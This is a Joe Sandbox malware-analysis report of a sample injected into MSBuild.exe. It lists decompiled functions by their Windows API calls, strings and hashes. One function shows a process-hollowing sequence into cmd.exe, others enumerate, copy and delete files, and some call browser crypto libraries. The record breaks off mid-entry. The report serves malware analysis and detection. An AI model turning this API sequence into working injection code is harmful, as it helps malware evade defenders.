Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FileOperation
String ID:
API String ID: 3080627654-0
Opcode ID: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction ID: ef242af97a818274634bdf18eaf41cd9f3ea813bb85b2b5ad444d7661f99d088
Opcode Fuzzy Hash: 11d7e75e8fb048daadeff50fbe913edc7fb5e8de74ef351f238d313e6dfef050
Instruction Fuzzy Hash: CAE09AB0D0420E9FDF44EFE4D5152DDBAF8BF08308F40916AC115F3240E37442058BA9

Function 0041C440 Relevance: 1.3, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 0041C451

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: f9060b93a179226b6bcb6403471e41fabc2e13e5dadf3889cf2d7472838e218b
Instruction ID: b821a3ed68e39ced0a1ee7d52ccadc00ba9e28cef2c83c113185a37151cab313
Opcode Fuzzy Hash: f9060b93a179226b6bcb6403471e41fabc2e13e5dadf3889cf2d7472838e218b
Instruction Fuzzy Hash: A221F6742007108FC320DF6ED495996B7F1FF49314B14486EEA8A8B722D776E880CB15

Function 00407EAE Relevance: 1.3, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00407EB5

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction ID: a2ed24522b90cf8d72a71430dfd18e5bb138dd64580460ce79602bb5834a96d0
Opcode Fuzzy Hash: cd808f50b226156c54d12c7445b6016a60ba6ba0c8715662d5550310cd1c8d18
Instruction Fuzzy Hash: EAE0EDB1A10108BFEB40DBA9D845A9EBBF8EF44254F1440BAE905E3281E670EE009B55

Non-executed Functions

Function 6CAB6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAB6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAB6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CAB6D26

Part of subcall function 6CABCA10: malloc.MOZGLUE(?), ref: 6CABCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CAB6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CAB6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CAB6D73
free.MOZGLUE(00000000), ref: 6CAB6D80
CertGetNameStringW.CRYPT32 ref: 6CAB6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CAB6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAB6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CAB6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CAB6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CAB6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CAB6E34
CreateFileW.KERNEL32 ref: 6CAB6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CAB6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CAB6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CAB709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CAB7103
free.MOZGLUE(00000000), ref: 6CAB7153
CloseHandle.KERNEL32(?), ref: 6CAB7176
__Init_thread_footer.LIBCMT ref: 6CAB7209
__Init_thread_footer.LIBCMT ref: 6CAB723A
__Init_thread_footer.LIBCMT ref: 6CAB726B
__Init_thread_footer.LIBCMT ref: 6CAB729C
__Init_thread_footer.LIBCMT ref: 6CAB72DC
__Init_thread_footer.LIBCMT ref: 6CAB730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CAB73C2
VerSetConditionMask.NTDLL ref: 6CAB73F3
VerSetConditionMask.NTDLL ref: 6CAB73FF
VerSetConditionMask.NTDLL ref: 6CAB7406
VerSetConditionMask.NTDLL ref: 6CAB740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CAB741A
moz_xmalloc.MOZGLUE(?), ref: 6CAB755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAB7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CAB7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAB7598
free.MOZGLUE(00000000), ref: 6CAB75AC

Part of subcall function 6CADAB89: EnterCriticalSection.KERNEL32(6CB2E370,?,?,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284), ref: 6CADAB94
Part of subcall function 6CADAB89: LeaveCriticalSection.KERNEL32(6CB2E370,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CADABD1

Strings

wintrust.dll, xrefs: 6CAB72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CAB72C8
SHA256, xrefs: 6CAB6EC0
(, xrefs: 6CAB768A

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 926097df151d9d6fda843e67c1b64ad7869799dc59e72614508f2ef7615ed3bc
Instruction ID: 4313504fd4ae10cdf4dddd32a889f70df311fad965cc8522092b37fed7af271d
Opcode Fuzzy Hash: 926097df151d9d6fda843e67c1b64ad7869799dc59e72614508f2ef7615ed3bc
Instruction Fuzzy Hash: 5C52E3B1A002549BEB21CF24CD84BAAB7BDEF45704F144199E909EB640DB74AFC4CFA1

Function 6CAB64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CAB64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CAB64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CAB6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CAB6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CAB652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CAB671C
GetCurrentProcess.KERNEL32 ref: 6CAB6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAB672F
GetCurrentProcess.KERNEL32 ref: 6CAB6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CAB6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CAB6A80
GetSystemInfo.KERNEL32(?), ref: 6CAB6ABE
__Init_thread_footer.LIBCMT ref: 6CAB6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAB6AF7

Strings

_etoured.dll, xrefs: 6CAB64ED
detoured.dll, xrefs: 6CAB64DA
user32.dll, xrefs: 6CAB6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CAB6798
nvd3d9wrap.dll, xrefs: 6CAB6500
nvdxgiwrap.dll, xrefs: 6CAB6513

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 792e527450ca8b8aa7fb63d7e36dac223f03d918859e9aac1555ed4da5dcc68e
Instruction ID: 5a65c4eedb14b3fd191f6b690b2d272393fff8d056f003943c079e456264663e
Opcode Fuzzy Hash: 792e527450ca8b8aa7fb63d7e36dac223f03d918859e9aac1555ed4da5dcc68e
Instruction Fuzzy Hash: 52F1D1709052598FDB24DF64CD48BAAB7B9EF46318F1842A9D809B7741D731AEC4CF90

Function 00415B0B Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 179filestringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415B30
HeapAlloc.KERNEL32(00000000), ref: 00415B37
wsprintfA.USER32 ref: 00415B50
FindFirstFileA.KERNEL32(?,?), ref: 00415B67
StrCmpCA.SHLWAPI(?,00436A98), ref: 00415B88
StrCmpCA.SHLWAPI(?,00436A9C), ref: 00415BA2
CopyFileA.KERNEL32(?,?,00000001), ref: 00415C86

Part of subcall function 0041580D: _memset.LIBCMT ref: 00415845
Part of subcall function 0041580D: _memset.LIBCMT ref: 00415856
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 00415881
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041589F
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 004158B3
Part of subcall function 0041580D: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 004158C6
Part of subcall function 0041580D: StrStrA.SHLWAPI(00000000), ref: 0041596A

DeleteFileA.KERNEL32(?), ref: 00415CA9
wsprintfA.USER32 ref: 00415BC9

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindNextFileA.KERNEL32(?,?), ref: 00415CD8
FindClose.KERNEL32(?), ref: 00415CEC
lstrcatA.KERNEL32(?), ref: 00415D1A
lstrcatA.KERNEL32(?), ref: 00415D2D
lstrlenA.KERNEL32(?), ref: 00415D39
lstrlenA.KERNEL32(?), ref: 00415D56

Strings

%s\*, xrefs: 00415B4A
%s\%s, xrefs: 00415BC3
K_A, xrefs: 00415DE8

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$Filelstrcpy$Findlstrlen$Heap_memsetwsprintf$AllocCloseCopyDeleteFirstNextProcessSystemTime
String ID: %s\%s$%s\*$K_A
API String ID: 2636950706-1624741228
Opcode ID: ced04bf2730adabb213893d9fef7c7aec05d546aa0bd8a97aa09d981d4b8c89c
Instruction ID: fe1309143821ccd60cf53d87d26b624eae82bf80c08df25afb7708329c163567
Opcode Fuzzy Hash: ced04bf2730adabb213893d9fef7c7aec05d546aa0bd8a97aa09d981d4b8c89c
Instruction Fuzzy Hash: C7713EB19002289BDF20EF60DD49ACD77B9AF49315F0004EAA609B3151EB76AFC5CF59

Function 0040F54A Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 130threadinjectionmemoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040F57C
CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,004365A7,00000000,00000000,00000001,00000004,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0040F5A0
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0040F5B2
GetThreadContext.KERNEL32(?,00000000), ref: 0040F5C4
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F5E2
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 0040F5F8
ResumeThread.KERNEL32(?), ref: 0040F608
WriteProcessMemory.KERNEL32(?,00000000,a-A,?,00000000), ref: 0040F627
WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0040F65D
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F684
SetThreadContext.KERNEL32(?,00000000), ref: 0040F696
ResumeThread.KERNEL32(?), ref: 0040F69F

Strings

a-A, xrefs: 0040F550, 0040F620
C:\Windows\System32\cmd.exe, xrefs: 0040F59B

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateRead_memset
String ID: C:\Windows\System32\cmd.exe$a-A
API String ID: 3621800378-431432405
Opcode ID: c39c767b4fc440431594be31adcdd6aa0aa839711508083770b6d10c9d5435bd
Instruction ID: 1dbec0a9bd52493e5c3d537ba7c19bf6326571b571cf52f9f0c3be7ee7289f1e
Opcode Fuzzy Hash: c39c767b4fc440431594be31adcdd6aa0aa839711508083770b6d10c9d5435bd
Instruction Fuzzy Hash: EF413872A00208AFEB11DFA4DC85FAAB7B9FF48705F144475FA01E6161E776AD448B24

Function 0040CD37 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 298filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040CD5C
FindFirstFileA.KERNEL32(?,?), ref: 0040CD73
StrCmpCA.SHLWAPI(?,004374EC), ref: 0040CD94
StrCmpCA.SHLWAPI(?,004374F0), ref: 0040CDAE

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

lstrlenA.KERNEL32(0040D3B5,00436872,004374F4,?,0043686F), ref: 0040CE41
DeleteFileA.KERNEL32(?,0043750C,00436873,?,00437508,00437504,00437500,004374FC), ref: 0040D122
CopyFileA.KERNEL32(?,?,00000001), ref: 0040D136

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

FindNextFileA.KERNEL32(?,?), ref: 0040D23C
FindClose.KERNEL32(?), ref: 0040D250

Strings

%s\*.*, xrefs: 0040CD56

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcatlstrlen$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeThreadWaitwsprintf
String ID: %s\*.*
API String ID: 3967855609-1013718255
Opcode ID: 91c9fb112b59a0cf7e3fd6b6c6b00c741b931e7e291f9f84dd46120b86cdb610
Instruction ID: b8f2ff613adb140e2bbdafbaaca5dce4734e9504c972787de113b63e99094c89
Opcode Fuzzy Hash: 91c9fb112b59a0cf7e3fd6b6c6b00c741b931e7e291f9f84dd46120b86cdb610
Instruction Fuzzy Hash: A6D1CB71A4112DABDF20FB25DD46ADD77B5AF44308F4100E6B908B3152DA78AFCA8F94

Function 6CACD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CADD1C5), ref: 6CACD4F2
LeaveCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CADD1C5), ref: 6CACD50B

Part of subcall function 6CAACFE0: EnterCriticalSection.KERNEL32(6CB2E784), ref: 6CAACFF6
Part of subcall function 6CAACFE0: LeaveCriticalSection.KERNEL32(6CB2E784), ref: 6CAAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CADD1C5), ref: 6CACD52E
EnterCriticalSection.KERNEL32(6CB2E7DC), ref: 6CACD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CACD6A6
LeaveCriticalSection.KERNEL32(6CB2E7DC), ref: 6CACD712
LeaveCriticalSection.KERNEL32(6CB2E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CADD1C5), ref: 6CACD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CACD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CACD82C
<jemalloc>, xrefs: 6CACD827

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: b2fdd4a0dbee6f82e55772222d46952763421bb51c93bf81657e74d0fe37179c
Instruction ID: 1a7a961846f6769e575e7c21c499a85b054e4c42d849e7404050a19cf4753b78
Opcode Fuzzy Hash: b2fdd4a0dbee6f82e55772222d46952763421bb51c93bf81657e74d0fe37179c
Instruction Fuzzy Hash: 1791CF71F447418FD714CF39C59076AB7E1FB89318F19892EE59A87A80DB34E885CB82

Function 6CBF0EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CBF0F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CBF0FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CBF1006
PK11_FreeSymKey.NSS3(?), ref: 6CBF101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBF1033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBF103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CBF1048
memcpy.VCRUNTIME140(?,?,?), ref: 6CBF108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CBF10BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CBF10D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CBF112E

Part of subcall function 6CBF1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CBF08C4,?,?), ref: 6CBF15B8
Part of subcall function 6CBF1570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CBF08C4,?,?), ref: 6CBF15C1
Part of subcall function 6CBF1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBF162E
Part of subcall function 6CBF1570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBF1637

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 20fa41ae09982426c430275290ad2f3c0dd819db21fa4b550e6dff8799c76e0b
Instruction ID: b369388dc3eec7d0ba2daea5c7f18118692e197f2a560651ddd2038df2d04592
Opcode Fuzzy Hash: 20fa41ae09982426c430275290ad2f3c0dd819db21fa4b550e6dff8799c76e0b
Instruction Fuzzy Hash: 8671D5B1A002858FDB00CFA5DC84A6AB7F8FF44318F188A2CE52997B11E731D949CB91

Function 6CC16C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

